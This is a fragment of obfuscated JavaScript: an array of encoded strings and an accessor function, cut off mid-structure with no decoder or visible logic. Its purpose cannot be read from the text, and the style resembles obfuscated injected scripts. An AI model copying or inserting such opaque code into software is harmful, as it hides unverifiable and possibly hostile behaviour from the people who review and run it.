f=['W4icaW','WQP/oa','W4JdUCk0','tJNdVG','WPi1W6e','ACkoW6yOWRDgW7D+W5GRWQu','W5nrW6i','WPj2W7vtqbms','ECo2aa','W4uxjtjUfLiwDwGaeq','e3pcPq','BSkjWO9EW6PQW4ff','zcNcL2ZcNYKTASkAW7OXW7RdQa','k8okWQi','hg/cUsBdGCoSl8otW4yasG','r8oMwq','W5ZdHCkO','WQ3dMCk1','DZnZ','W4aujtvNefiWxv41lW','AI5GWQpdK3vPw8o0','eLdcGSkgamobWO0a','W7pdNCk1','mmkYWPy','W5hdHCoZ','qSk4W4K','WRP6W4C','bYJdHqTaFmoS','lNaM','sqPn','W4mkcG','DmkgWR0','vCoPwG','WOpdM8ke','W6RcGSkf','xCo0qa','nNmG','zcGA','WPdcG1e','Bh/dQHa5W7KzW7pcV8obWQZcLa','utvU','WOhcO8os','WRddLWb4C8kTdmo/l8oiWPBcUq','dqdcVq','iqqE','W5BdK8ki','k8opW4G','lHBdLa','C8kqW7q','WQRdGSkh','W7lcM8kB','WPXuEq','W4JdUCkW','BCkaW7y','nG0l','zmkhW6a','WQb3eG','h1SjxvddMmk8wSo+y8kHnHi','W5GfbW','WPrsEq','WQ7dN8k7','hGJdIW','CtiE','lSoAW7a','kvSk','WQNdUJi','bCkxW48','u8o+qq','rYJcPq','WPqoWRe9a08Hh8kTzmknWPe','W6FcLCkY','gM3cUcVdHCkRmmoZW7SywuK','WQb6W48','xeNcMCkvrmkmW6JdGSojWQuwWPHX','kvav','rCkEW7zra8kDWPe','Ct7cQW','x0C+','W4zlW6O','WOOVW7e','W5jYWQhdSSk9eCkUW4yj','cIpcHG','WOmHW7y','W5qWW67cM8kVqSkzFCkeWPhdNYS','y3JdHG','b8kHDmorW7hcUmoNCq','W4tdGSk1','W5X/zW','vCk9W4i','tXTC','WPRcNG0','CNaF','bCksWRe','W4RdSCk2','tMBcVLBcJCkPs8ke','lqZcLa','W7C/qSkHWQrwdSo8vtC2WOXV','rZNdUa','WRpdImk6','uSkzfG','cIpcLa','Fge1','W5ddPSkqWOpdVHxdHmoFWPhdJura','WPDOWRq','WPD3EG','ltmX','W4SJW70','WPvtW5TKvc8Y','qWVcTq'];a0c=function(){return f;};return a0c();}};